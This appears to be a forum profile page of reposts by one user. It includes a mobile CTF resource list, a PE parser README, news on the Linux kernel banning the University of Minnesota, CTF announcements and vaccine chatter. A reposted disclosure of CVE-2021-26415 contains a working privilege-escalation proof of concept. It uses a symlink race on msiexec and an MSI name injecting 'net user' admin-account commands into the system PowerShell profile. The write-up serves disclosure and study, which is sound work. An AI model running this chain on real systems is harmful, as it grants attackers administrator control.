-
Posts
18664 -
Joined
-
Last visited
-
Days Won
681
Everything posted by Nytro
-
awesome-mobile-CTF This is a curated list of mobile based CTFs, write-ups and vulnerable mobile apps. Most of them are android based due to the popularity of the platform. Inspired by android-security-awesome, osx-and-ios-security-awesome and all the other awesome security lists on @github. Mobile CTF challenges KGB Messenger ASIS CTF — ShareL Walkthrough Android reversing challenges Android app for IOT CTF CyberTruck Challenge 2019 (Detroit USA) Matryoshka-style Android reversing challenge Cybertruckchallenge19 You Shall Not Pass - BSides Canberra 2019 Mobile challenges collection BSidesSF 2018 CTF h1-702-2018-ctf-wu THC CTF 2018 - Reverse - Android serial Android crack me challenges OWASP crack me Rednaga Challenges iOS CTF Android Hacking Event 2017: AES-Decrypt Android Hacking Event 2017: Token-Generator Android Hacking Event 2017: Flag-Validator Android Hacking Event 2017: You Can Hide – But You Cannot Run Android Hacking Event 2017: Why Should I Pay? Android Hacking Event 2017: Esoteric Android Hacking Event 2016: StrangeCalculator Android Hacking Event 2016: ReverseMe Android Hacking Event 2016: ABunchOfNative Android Hacking Event 2016: DynChallenge PicoCTF-2014: Pickle Jar - 30 PicoCTF-2014: Revenge of the Bleichenbacher Android MIT LL CTF 2013 Evil Planner Bsides Challenge Crack-Mes GreHack-2012 - GrehAndroidMe Hackplayers.com Crackmes (in Spanish so an extra challenge): crackme 1 Hackplayers.com Crackmes (in Spanish so an extra challenge): crackme 2 Hack.Lu's CTF 2011 Reverse Engineering 300 Androidcracking.blogspot.com's Crackme’s: cracker 0 Androidcracking.blogspot.com's Crackme’s: cracker 1 Insomnia'hack-2K11 CSAW-2011: Reversing101 Defcon-19-quals: Binary_L33tness Crack me's SecuInside: CTF2011 EnoWars-CTF2011: broken_droid Anonim1133 Challenge4ctf Ctfpro CTFDroid Android CTF Android_ctf Robot CTF Android Cl.ctfk Cryptax CTF Writeups 2019 DroidCon, SEC-T CTF 2019 You Shall Not Pass - BSides Canberra 2019 CyberTruck Challenge 2019 — Android CTF Bsidessf-ctf-2019-mobile-track BsidesSF CTF - Challenge: Part 1, Part 2 2018 H1 202 2018 / H1 202 CTF H1-702 CTF (Capture the Flag) BSidesSF 2018 CTF — Android Reversing/Forensic Challenge Hack the Android4: Walkthrough (CTF Challenge) Google CTF Quals 2018 Ilam CTF: Android Reverse WriteUp 8st SharifCTF Android WriteUps: Vol I, Vol II ASIS 2018 Finals: Gunshop H1-202 CTF - Writeup M1Con CTF Write up AES decode with Cyberchef 2017 BSides San Francisco CTF 2017 : pinlock-150 BSides San Francisco CTF 2017 : flag-receiver-200 BSidesSF CTF wrap-up itsC0rg1's mobile challenge and BSides SF CTF Insomni'hack Teaser 2017 : mindreader-250 2017_labyREnth: mob1_ezdroid 2017_labyREnth: mob2_routerlocker 2017_labyREnth: mob3_showmewhatyougot 2017_labyREnth: mob4_androidpan 2017_labyREnth: mob5_iotctf 2016 LabyREnth 2016_labyREnth: mob1_lastchance 2016_labyREnth: mob2_cups 2016_labyREnth: mob3_watt 2016_labyREnth: mob4_swip3r 2016_labyREnth: mob5_ioga 2016_labyREnth: mob6_ogmob Holiday hack challenge: Part 01 Holiday hack challenge: Part 02 Holiday hack challenge: Part 04a Holiday hack challenge: Part 04b Holiday hack challenge: Part 04c Holiday hack challenge: Part 04d Holiday hack challenge: Part 04e Holiday hack challenge: Part 04f Holiday hack challenge: Part 5 0ctf-2016 Google-ctf-2016 Google-ctf-2016: ill intentions 1 Google-ctf-2016: ill intentions 2 Cyber-security-challenge-belgium-2016-qualifiers Su-ctf-2016 - android-app-100 Hackcon-ctf-2016 - you-cant-see-me-150 RC3 CTF 2016: My Lil Droid Cyber Security Challenge 2016: Dexter Cyber Security Challenge 2016: Phishing is not a crime google-ctf-2016 : little-bobby-application-250 2015 Rctf-quals-2015 Insomni-hack-ctf-2015 0ctf-2015 Cyber-security-challenge-2015 Trend-micro-ctf-2015: offensive-200 codegate-ctf-2015: dodocrackme2 Seccon-quals-ctf-2015: reverse-engineering-android-apk-1 Seccon-quals-ctf-2015 - reverse-engineering-android-apk-2 Pragyan-ctf-2015 Volgactf-quals-2015 Opentoall-ctf-2015: android-oh-no 32c3-ctf-2015: libdroid-150 Polictf 2015: crack-me-if-you-can Icectf-2015: Husavik 2014 Qiwi-ctf-2014: not-so-one-time Fdfpico-ctf-2014: droid-app-80 Su-ctf-quals-2014: commercial_application defkthon-ctf 2014: web-300 secuinside-ctf-prequal-2014: wooyatalk Qiwi-ctf-2014: easydroid Qiwi-ctf-2014: stolen-prototype TinyCTF 2014: Ooooooh! What does this button do? 31c3-ctf-2014: Nokia 1337 Asis-ctf-finals-2014: numdroid PicoCTF-2014: Droid App NDH2k14-wargames: crackme200-ChunkNorris 2013 Hack.lu CTF 2013: Robot Plans CSAW Quals CTF 2015: Herpderper 2012 Atast CTF 2012 Bin 300 Misc Nuit du Hack's 2k12 & 2k11 (pre-quals and finals) Android Crackme’s 2 Vulnerable Mobile apps: Android OWASP: OMTG-Hacking-Playground Damn insecure and vulnerable App (DIVA) Damn-Vulnerable-Bank InjuredAndroid Damn Vulnerable Hybrid Mobile App (DVHMA) Owasp: Goatdroid Project InjuredAndroid ExploitMe labs by SecurityCompass InsecureBankv2 Sieve (Vulnerable ‘Password Manager’ app) sievePWN ExploitMe Mobile Android Labs Hacme Bank Android Labs Digitalbank Dodo vulnerable bank Oracle android app Urdu vulnerable app MoshZuk File Appknox Vuln app Damn Vulnerable FirefoxOS Application Android security sandbox iOS ExploitMe Mobile iPhone Labs Owasp: iGoat Damn Vulnerable iOS App (DVIA) Damn Vulnerable iOS App (DVIA) v2 Vulnerable Web apps: Node Damn Vulnerable NodeJS Application Damn Vulnerable Serverless Application OWASP: Juice Shop Damn Vulnerable Node Application Intentionally Vulnerable node.js application Vulnode OWASP: NodeGoat Vulnerable-node PHP OWASP: Broken Web Applications(BWA) Damn Vulnerable Web Application (DVWA) Damn Vulnerable Web Services(DVWS) OWASP Hackademic Challenges OWASP: Insecure Web App Project OWASP: WebGoat Bwapp Beebox XVWA - Badly coded web application Drunk Admin Web Hacking Challenge Peruggia Mutillidae Btslab OWASP: Bricks The ButterFly Security Project WackoPicko Vicnum GameOver LAMPSecurity Training Metasploitable Metasploitable 2 Metasploitable 3 Hackazon Twiterlike UltimateLAMP Sql SQLI-labs Testenv Python Google Gruyere Java Owasp: WebGoat Puzzlemall Hacme Books Bodgeit OWASP: Web Goat Ruby on Rails Hacme Casino RailsGoat C++ Hacme Travel .NET OWASP: WebGoat.NET Hacme Bank VulnApp ColdFusion Hacme Shipping Mobile security resources Mobile app pentest cheatsheet Android security awesome Android security reference Awesome-linux-android-hacking iOS security awesome awesome-iOS-resource Mobile security wiki iPhone wiki Nyxbone Nowhere Secmobi Infosec resources OSX-iOS-reverse-engineering OSX-security-awesome Awesome-web-hacking Awesome-windows-exploitation windows-privesc-check Awesome-Hacking Awesome-reversing Aweasome-Frida Awesome-security Awesome-fuzzing Awesome-wifi-security Android vulnerabilities overview OSX-security-awesome Infosec_Reference PayloadsAllTheThings Awesome-malware-analysis Linux-reverse-engineering-101 Mobile security standards OWASP Mobile Security Project OWASP Top 10 - 2016 OWASP Mobile Application Security Verification Standard (MASVS) OWASP Mobile Security Testing Guide (MSTG) Credits http://carnal0wnage.attackresearch.com/2013/08/want-to-break-some-android-apps.html https://www.owasp.org/index.php https://github.com/ctfs http://shell-storm.org/repo/ Sursa: https://github.com/xtiankisutsa/awesome-mobile-CTF
-
- 1
-
CVE-2021-26415 April 21, 2021 Posted By Adrian Denkiewicz L p e , Bug bounty I’d like to share the details of CVE-2021-26415 (CVSSv3.0: 7.8) vulnerability that was patched on 2021-04-13. I found this bug somewhere around October 2020 and worked with Trend Micro’s Zero Day Initiative to report it to Microsoft. This is a Local Privilege Escalation (LPE) vulnerability affecting Windows Installer component. It’s based on the TOCTOU and file system attack using symlinks. The issue leads to write to an arbitrary file with LocalSystem privileges and partial control over content. I couldn’t find a vector that would give me a full control over the content (to replace DLL file content, etc.), but even partial control is sufficient to inject arbitrary PowerShell commands to default profile and elevate privileges once administrator account or scheduled task runs PowerShell console. I reported the issue as 0day for Windows 10 and 2019 Server, but according to the advisory, the issue affects other systems as well: 8.1, 7, 2012, 2016, 2008. Ancient systems were probably vulnerable too. Technical details Windows installer The msiexec system binary is used to install applications from MSI format (Windows Installer Packages). It’s not just an another name for PE files, but a slightly more complex format. Typical usage of msiexec requires administrative rights, there are however exceptions. For instance, the /f switch can be used by a non-privileged user to perform repair operation. This operation can often be performed without any admin rights. This switch has been used in the past in several LPE attacks - the vulnerable component was usually the MSI package itself. Typically, to look for such MSIs, I would just go to C:\Windows\Installer directory and start there. This time, we will simply pick one of existing files and use it to attack the operating system itself. The used installer (148d3c4.msi) is some random DropBox MSI that I found on my system. The repair operation can be extended with logging if /L option is provided. The msiexec will log some information to a pointed file. Let’s use procmon to see what exactly happens if following command is executed by regular user: 1 msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log In the above picture, you can see configured filters and highlights. This is useful to visually distinguish between operations running on System integrity level but impersonating normal users and those that use full power. For instance, the initial CreateFile operation on the pointed file use impersonation. The process won’t open anything that we don’t already have access to. We cannot just point at other files (say, C:\Windows\win.ini) and count on elevated access. It won’t work and from LPE perspective it’s nothing interesting. Few lines below, the file is processed again, but this time - using the full LocalSystem token. Perhaps only initial access to the file is protected? We can test that using symlinks. Symlink attack I won’t cover symlinks in detail, if this concept is new to you, please check out this great introduction to privileged file operation abuse on Windows. The James Forshaw’s symbolic link toolkit is a de facto standard to exploit such issues. In particular, BaitAndSwitch.exe application does everything that’s needed here - it traps the initial file-check in oplock, then changes the link from the original file, to somewhere else - the targeted file. The initial permission checks verify access to a safe file, but next read/write operations are performed on another file, now pointed by the same symlink. This is a typical TOCTOU issue. The kind of symlink used in this scenario, does not require any kind of special access - any unprivileged user can create one. Let’s execute following commands: 1 2 BaitAndSwitch.exe C:\temp\linkdir\link C:\temp\foo.log C:\foo.log msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\linkdir\link This is initial file access, the BOM character is written from Medium integrity thread - it also verifies access rights to a file. Once this is confirmed, the BaitAndSwitch is triggered and changes pointed location. Do you see it? The symlink already switched to a new target (C:\foo.log) and after a bunch of operations made under impersonation, the single CreateFile from LocalSystem is made. After few more actions, the file is closed and ends up saved on the disk. The file follows existing access rights rules - no extra permissions provided, but we just proved the arbitrary write. What’s inside? 1 2 3 MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully. MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0. Umm. It’s pretty useless. We may overwrite important files, but won’t directly elevate privileges. We will have to work on that. Partial content control At this point, I started inspecting flags returned by msiexec /h. Perhaps it is possible to gain full or at least partial control over written data? There are certain nice candidates in the logging options parameter: /fp adds terminal properties, some of them are definitively under my control as they come from user-writable registry hives or environment variables. For instance, look how I injected ; notepad.exe ; into %APPDATA% variable. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 === Logging started: 4/15/2021 20:18:09 === Property(S): UpdateDir = C:\Program Files (x86)\Dropbox\Update\ Property(S): DropboxProgramDir = C:\Program Files (x86)\Dropbox\ Property(S): ProgramFilesFolder = C:\Program Files (x86)\ Property(S): TARGETDIR = C:\ Property(S): ALLUSERS = 1 Property(S): ARPSYSTEMCOMPONENT = 1 Property(S): DISABLEROLLBACK = 1 Property(S): Manufacturer = Dropbox, Inc. Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94} Property(S): ProductLanguage = 1033 Property(S): ProductName = Dropbox Update Helper Property(S): ProductVersion = 1.3.415.1 Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0} Property(S): MsiLogFileLocation = C:\temp\log.txt Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E} Property(S): ProductState = 5 Property(S): ProductToBeRegistered = 1 Property(S): RestrictedUserControl = 1 Property(S): REINSTALL = ALL Property(S): REINSTALLMODE = pecms Property(S): CURRENTDIRECTORY = C:\Users\lowpriv Property(S): CLIENTUILEVEL = 2 Property(S): CLIENTPROCESSID = 12412 Property(S): MsiSystemRebootPending = 1 Property(S): PRODUCTLANGUAGE = 1033 Property(S): VersionDatabase = 300 Property(S): VersionMsi = 5.00 Property(S): VersionNT = 603 Property(S): VersionNT64 = 603 Property(S): WindowsBuild = 9600 Property(S): ServicePackLevel = 0 Property(S): ServicePackLevelMinor = 0 Property(S): MsiNTProductType = 1 Property(S): WindowsFolder = C:\WINDOWS\ Property(S): WindowsVolume = C:\ Property(S): System64Folder = C:\WINDOWS\system32\ Property(S): SystemFolder = C:\WINDOWS\SysWOW64\ Property(S): RemoteAdminTS = 1 Property(S): TempFolder = C:\Users\lowpriv\AppData\Local\Temp\ Property(S): CommonFilesFolder = C:\Program Files (x86)\Common Files\ Property(S): ProgramFiles64Folder = C:\Program Files\ Property(S): CommonFiles64Folder = C:\Program Files\Common Files\ Property(S): AppDataFolder = C:\Users\lowpriv\AppData\Roaming ; notepad.exe ;\ Property(S): FavoritesFolder = C:\Users\lowpriv\Favorites\ Property(S): NetHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Network Shortcuts\ Property(S): PersonalFolder = C:\Users\lowpriv\Documents\ Property(S): PrintHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\ Property(S): RecentFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Recent\ Property(S): SendToFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\SendTo\ Property(S): TemplateFolder = C:\ProgramData\Microsoft\Windows\Templates\ Property(S): CommonAppDataFolder = C:\ProgramData\ Property(S): LocalAppDataFolder = C:\Users\lowpriv\AppData\Local\ Property(S): MyPicturesFolder = C:\Users\lowpriv\Pictures\ Property(S): AdminToolsFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ Property(S): StartupFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ Property(S): ProgramMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ Property(S): StartMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\ Property(S): DesktopFolder = C:\Users\Public\Desktop\ Property(S): FontsFolder = C:\WINDOWS\Fonts\ Property(S): GPTSupport = 1 Property(S): OLEAdvtSupport = 1 Property(S): ShellAdvtSupport = 1 Property(S): MsiAMD64 = 6 Property(S): Msix64 = 6 Property(S): Intel = 6 Property(S): PhysicalMemory = 5687 Property(S): VirtualMemory = 2713 Property(S): LogonUser = lowpriv Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002 Property(S): UserLanguageID = 1033 Property(S): ComputerName = DESKTOP-OMNIO40 Property(S): SystemLanguageID = 1033 Property(S): ScreenX = 1024 Property(S): ScreenY = 768 Property(S): CaptionHeight = 19 Property(S): BorderTop = 1 Property(S): BorderSide = 1 Property(S): TextHeight = 16 Property(S): TextInternalLeading = 3 Property(S): ColorBits = 32 Property(S): TTCSupport = 1 Property(S): Time = 20:18:09 Property(S): Date = 4/15/2021 Property(S): MsiNetAssemblySupport = 4.8.4084.0 Property(S): MsiWin32AssemblySupport = 6.3.19041.1 Property(S): RedirectedDllSupport = 2 Property(S): AdminUser = 1 Property(S): MsiRunningElevated = 1 Property(S): Privileged = 1 Property(S): USERNAME = Adrian Property(S): Installed = 00:00:00 Property(S): DATABASE = C:\WINDOWS\Installer\148d3c4.msi Property(S): OriginalDatabase = C:\WINDOWS\Installer\148d3c4.msi Property(S): RollbackDisabled = 1 Property(S): UILevel = 3 Property(S): Preselected = 1 Property(S): ACTION = INSTALL Property(S): ROOTDRIVE = C:\ Property(S): CostingComplete = 1 Property(S): OutOfDiskSpace = 0 Property(S): OutOfNoRbDiskSpace = 0 Property(S): PrimaryVolumeSpaceAvailable = 0 Property(S): PrimaryVolumeSpaceRequired = 0 Property(S): PrimaryVolumeSpaceRemaining = 0 Property(S): INSTALLLEVEL = 1 === Logging stopped: 4/15/2021 20:18:09 === If you don’t see why that could be useful, I will explain that in a second. For now, there’s plenty of garbage in the output. Let’s try harder. /L+ will append instead of overwritting - this could be useful in some situations and would let us test attacks without breaking the entire file. /Lc logs initial UI parameters only. This results in only two lines of output, but not under attacker control. 1 2 === Logging started: 4/15/2021 20:28:50 === === Logging stopped: 4/15/2021 20:28:50 === Other logging flags aren’t helping that much, plus they even cause MSI to use more than one thread and it can cause additional issues. Some will log verbose messages, some only errors… Perhaps malicious MSI package would have more control over the content? Sounds like a good idea to check. Let’s prepare a custom one. Ccrafting MSI Custom MSI packages can be crafted using WiX toolset. This way we will control behavior and also additional properties of MSI package. First we need to create example.wxs file with following content: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add #" Version="0.0.1" Manufacturer="Example Company Name" Language="1033"> <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/> <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/> <Directory Id="TARGETDIR" Name="SourceDir"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/> </Directory> <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/> </Feature> </Product> </Wix> Note the Name attribute. It contains injected PowerShell command along with ‘;’ to separate instructions. The ‘#’ at the end is used to comment out the remaining characters in the line. This will be more clear later. Now, we can use candle.exe example.wxs to process the above definition and light example.wixobj to create example.msi package. Let’s move it to the attacked system and redo attack: msiexec /f C:\temp\example.msi /L C:\Temp\log.txt Oops. This won’t work - we would need to install the package first and this obviously requires admin privileges. Let’s not even start with the social engineering narrative. That’s the dead end. Product advertisement I decided to test other flags - perhaps repair isn’t the only interesting option to trigger. The /j<u|m> <Product.msi> option is used as advertises a product - m to all users, u to current user. Let’s see what it really does: 1 2 BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\foo.log msiexec /j example.msi /L C:\temp\linkdir\link UAC prompt. So it must be admin only after all… However, if we take a look at procmon - it looks like write already happened. We didn’t have to provide any credentials at all! At this point, we can safely cancel UAC - the elevated writing already happened! The data controlled by the attacker is appended to the target file and we have arbitrary write with partial content control. Final touches The C:\foo.log file now contains: MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add # -- Advertisement failed. Did I mention that this is a UTF-16 file? Well, it is. So it cannot be turned into cmd.exe payload, but PowerShell will happily process the file. Semicolons are there to split commands, and hash character to comment out the remaining text. If you overwrite (or create new) C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 - it’s going to be started next time administrator start PowerShell. There are also other LPE locations where it will fit just fine, but thinking of other vectors is going to be your homework. Another problem I wanted to solve was getting rid of UAC prompt completely. To do that, another switch was used: /t somevalue /qn - this will trigger a silent error after the write, but before UAC prompt. We intentionally want installer to fail at early stage. The /qn switch will guarantee no UI. This makes the payload usable even without GUI access to the system and nothing blocks console interaction. Full PoC After all that storytelling, the final PoC is: 1 2 3 4 5 6 @echo off REM Put BaitAndSwitch, example.msi into C:\temp echo > C:\temp\fakelog.txt start C:\temp\BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 timeout /t 1 msiexec /j C:\temp\example.msi /t ksz /Li! C:\temp\linkdir\link /qn Since your system should already be patched, here’s a quick video PoC of it in action: Thanks for reading! Sursa: https://www.cloaked.pl/2021/04/cve-2021-26415/
-
- 1
-
Portable Executable Parser pe parser is a go package for parsing the portable executable file format. This package was designed with malware analysis in mind, and being resistent to PE malformations. Features Works with PE32/PE32+ file fomat. Supports Intel x86/AMD64/ARM7ARM7 Thumb/ARM8-64/IA64/CHPE architectures. MS DOS header. Rich Header (calculate checksum). NT Header (file header + optional header). COFF symbol table and string table. Sections headers + entropy calculation. Data directories Import Table + ImpHash calculation. Export Table Resource Table Exceptions Table Security Table + Authentihash calculation. Relocations Table Debug Table (CODEVIEW, POGO, VC FEATURE, REPRO, FPO, EXDLL CHARACTERISTICS debug types). TLS Table Load Config Directory (SEH, GFID, GIAT, Guard LongJumps, CHPE, Dynamic Value Reloc Table, Enclave Configuration, Volatile Metadata tables). Bound Import Table Delay Import Table COM Table (CLR Metadata Header, Metadata Table Streams) Report several anomalies Installing Using peparser is easy. First, use go get to install the latest version of the library. This command will install the peparser generator executable along with the library and its dependencies: go get -u github.com/saferwall/pe Next, include peparser in your application: import "github.com/saferwall/pe" Using the library package main import ( peparser "github.com/saferwall/pe" ) func main() { filename := "C:\\Binaries\\notepad.exe" pe, err := peparser.New(filename, nil) if err != nil { log.Fatalf("Error while opening file: %s, reason: %s", filename, err) } err = pe.Parse() if err != nil { log.Fatalf("Error while opening file: %s, reason: %s", filename, err) } TODO: imports MS-styled names demangling PE: VB5 and VB6 typical structures: project info, DLLCall-imports, referenced modules, object table Fuzz Testing To validate the parser we use the go-fuzz and a corpus of known malformed and tricky PE files from corkami. References Peering Inside the PE: A Tour of the Win32 Portable Executable File Format by Matt Pietrek An In-Depth Look into the Win32 Portable Executable File Format - Part 1 by Matt Pietrek An In-Depth Look into the Win32 Portable Executable File Format - Part 2 by Matt Pietrek Portable Executable File Format PE Format MSDN spec Sursa: https://github.com/saferwall/pe
-
Nu stiu daca se poate, doar ei (teoretic) se pot conecta sa faca modificari administrative.
-
Linux bans University of Minnesota for committing malicious code By Ax Sharma April 21, 2021 01:08 PM 0 In a rare, groundbreaking decision, Linux kernel project maintainers have imposed a ban on the University of Minnesota (UMN) from contributing to the open-source Linux project. The move comes after a group of UMN researchers were caught submitting a series of malicious code commits, or patches that deliberately introduced security vulnerabilities in the official Linux codebase, as a part of their research activities. Additionally, the Linux kernel project maintainers have decided to revert any and all code commits that were ever submitted from an @umn.edu email addresses. Malicious commits mass-reverted, UMN researchers banned Today, a major Linux kernel developer, Greg Kroah-Hartman has banned the University of Minnesota (UMN) from contributing to the open-source Linux kernel project. Kroah-Hartman also decided to revert all commits submitted from any UMN email address thus far. The developer's justification for taking this step is: "Commits from @umn.edu addresses have been found to be submitted in 'bad faith' to try to test the kernel community's ability to review 'known malicious' changes." "Because of this, all submissions from this group must be reverted from the kernel tree and will need to be re-reviewed again to determine if they actually are a valid fix." "Until that work is complete, [we are removing] this change to ensure that no problems are being introduced into the codebase," said Kroah-Hartman in a series of published emails. Linux kernel developer Greg Kroah-Hartman mass-reverts commits submitted from UMN In February 2021, UMN researchers published a research paper titled, "Open Source Insecurity: Stealthily Introducing Vulnerabilities via Hypocrite Commits." The focus of this research was to deliberately introduce known security vulnerabilities in the Linux kernel, by submitting malicious or insecure code patches. As seen by BleepingComputer, the researchers demonstrate many examples of instances where they introduced known vulnerabilities by making these "hypocrite" patch commits: Researchers attempt to reintroduce NULL pointer dereference flaw (CVE-2019-15922) in the code "Introducing the nullified state is straightforward. The patch is seemingly valid because it nullifies pf->disk->queue after the pointer is released." "However, some functions such as pf_detect() and pf_exit() are called after this nullification and they would further dereference this pointer without checking its state, leading to NULL-pointer," state UMN researchers in their paper. As seen by BleepingComputer, there are hundreds of commits touting themselves to be "patches" that have been reverted as a part of this process: Partial list of commits from UMN researchers that have been reverted by Kroah-Hartman UMN Researchers call the accusations "slander" Soon enough, researcher Aditya Pakki from UMN pushed back asking Kroah-Hartman to refrain "from making wild accusations that are bordering on slander." Pakki wrote: Greg, I respectfully ask you to cease and desist from making wild accusations that are bordering on slander. These patches were sent as part of a new static analyzer that I wrote and it's sensitivity is obviously not great. I sent patches on the hopes to get feedback. We are not experts in the linux kernel and repeatedly making these statements is disgusting to hear. Obviously, it is a wrong step but your preconceived biases are so strong that you make allegations without merit nor give us any benefit of doubt. I will not be sending any more patches due to the attitude that is not only unwelcome but also intimidating to newbies and non experts. To which Kroah-Hartman responded that the Linux kernel developer community does not appreciate being experimented on in this manner. "If you wish to do work like this, I suggest you find a different community to run your experiments on, you are not welcome here," said Kroah-Hartman. "Because of this, I will now have to ban all future contributions from your University and rip out your previous contributions, as they were obviously submitted in bad-faith with the intent to cause problems," he continued. UMN researchers have compiled a detailed FAQ document in which they state that the goal of their research was to improve the security of the patching process in open-source software by demonstrating the practicality of bug-introducing patches. The researchers also stated that any patch suggestions were made via email exchanges and never made it into any code branch, or the Linux kernel. According to the document, the University's IRB determined that this was not human research or ethically harmful, and as such cleared the research activities. Although, the researchers did offer their sincere apologies to Linux maintainers for the time wasted on reviewing "hypocrite" patches: "We would like to sincerely apologize to the maintainers involved in the corresponding patch review process; this work indeed wasted their precious time." "We had carefully considered this issue, but could not figure out a better solution in this study," state the researchers. Brad Spengler, President of Open Source Security Inc. weighed in on the matter, calling this an "overreaction" on the Linux kernel maintainers' part. Spengler points out that many people, including himself, had called out the suspicious commits to Linux maintainers last year, but that it isn't until now that these have been mass-actioned. "...this overreaction is terrible, reverting commits from long before any of that research, removing CAP_SYS_ADMIN checks that were added, etc... This is nuts," Spengler continued in the same thread. Spengler also implies that not all of the reverted patches may have been malicious, warning that a decision to revert all patches could re-introduce bugs: "It's one thing to perform that review behind the scenes and only commit the result of that review, but to knowingly re-introduce dozens of vulnerabilities to 'take a stand'? Come on." BleepingComputer reached out to the University of Minnesota for comment in advance of publishing this article but we have not heard back yet. When contacted by BleepingComputer, Kroah-Hartman chose not to offer any further comment on the situation. Update: 3:07 PM ET: added excerpts from FAQ compiled by UMN researchers. Sursa: https://www.bleepingcomputer.com/news/security/linux-bans-university-of-minnesota-for-committing-malicious-code/
-
Premiile au fost trimise catre cei care mi-au raspuns la email. Mentionez ca nu am primit un raspuns de la 2 castigatori, astept un email de la ei pe contact@rstcon.com. Am rugamintea sa imi spuneti daca cumva pana maine dupa-amiaza nu ajung banii. Am primit mai multe write-up-uri, orice format este in regula. Mai asteptam altele pana in aceasta seara iar maine vom oferi cele 3 premii.
-
Castigatorii au fost contactati pentru a primi premiile. Premiile au fost oferite din donatii de la membri RST: @malsploit @mrreboot @LinkAggregation @theandruala si @Nytro Exercitiile vor mai fi disponibile o perioada (2-3 saptamani, cel putin pentru cele care necesita VPS) pentru cei care vor sa le vada. Asteptam write-up-urile voastre pana miercuri seara iar joi vom oferi si premiile pentru aceasta categorie. Asteptam de asemenea orice fel de feedback referitor la CTF: exercitii, organizare, premii, timp etc. Acest feedback poate fi public, aici, sau pe email la contact@rstcon.com
-
RST CTF #1 s-a incheiat, multumim tuturor pentru participare! Asteptam writeup-urile pe email contact@rstcon.com pana miercuri seara. Ulterior vom publica si rezolvarile. Asteptam de asemenea si parerile voastre referitoare la concurs, aici sau pe acelasi email. Orice sugestie sau critica e binevenita. Zilele urmatoare ii vom contacta pe castigatori pentru oferirea premiilor.
-
La ora 23:59 se termina concursul. Asteptam writeup-urile pe email contact@rstcon.com pana miercuri seara. Hint pentru Server: SSH Hint pentru Reteaua: Network pentest (unde se cauta mai putin) - Information gathering
-
Nu e chiar un hint, dar pentru Forensics > RST, ar putea ajuta un Ctrl + F5 / Browser refresh.
-
Cele mai bune write-up-uri vor fi de asemenea premiate: 200 RON fiecare.
-
A inceput, se va termina duminica seara (23:59). GL & HF!
-
Cat imi plac site-urile asta, Antena3 style, care fac afirmatii fara argumente. Adica fara dovezi. Exemple: - x% din medici s-au vaccinat - De unde au site-urile astea mizerabile aceasta informatie? - Gheorghita a declarat... - Unde a declarat? Un video de la TV/conferinta de presa nu exista? Un post pe Facebook sau orice altceva? Stire a jurnalistului Nytro: "Gigel Betivul, un cunoscut membru RST, a declarat ca a baut tuica de prune pentru a preveni infectarea cu Covid. Acest experiment a avut un final neasteptat: virusul SARS-Cov2 s-a imbatat atat de rau dupa ce l-a infectat inca a decis sa se retraga din Romania. Asadar de maine toate restrictiile vor fi ridicate." Stirea mea e la fel de plauzibila ca stirile de mai sus.
-
CTF-ul incepe in mai putin de 2 ore. PS: Am marit premiile pentru locurile 4-10.
-
Pregatiti? Daca aveti intrebari pe parcursul concursului le vom discuta pe Slack: https://romaniansecurityteam.slack.com/
-
Nu stiu daca exista undeva "vaccin obligatoriu". Exista doar pentru copii, pentru minori (in anumite tari si care a fost declarat legal de catre Curtea Europeana), care nu pot lua singuri decizii si e nasol ca viata lor sa depinde de un adult care urmareste niste pagini idioate de Facebook (e.g. Olivia Ster). Nici eu nu sunt de acord cu vaccinarea obligatorie pentru adulti. Pot lua singuri decizii pe care si le asuma. Darwin.
-
Vaccinurile nu au efecte secundare grave. Mai ales daca la numarul de cazuri de cheaguri comparam numarul de cazuri de cheaguri provocate de catre Covid-19. Era o statistica 10 de cazuri cheaguri / 1.000.000 vaccinari si 16.000 de cazuri cheaguri / 1.000.000 infectari Covid. Si vreo 1500 de cazuri cheaguri / 1.000.000 fumatori. Plm, ar trebui sa ma las Sunt testate deja de peste 140.000.000 de oameni.
-
Interesant, legat de vaccinuri si eficacitate
-
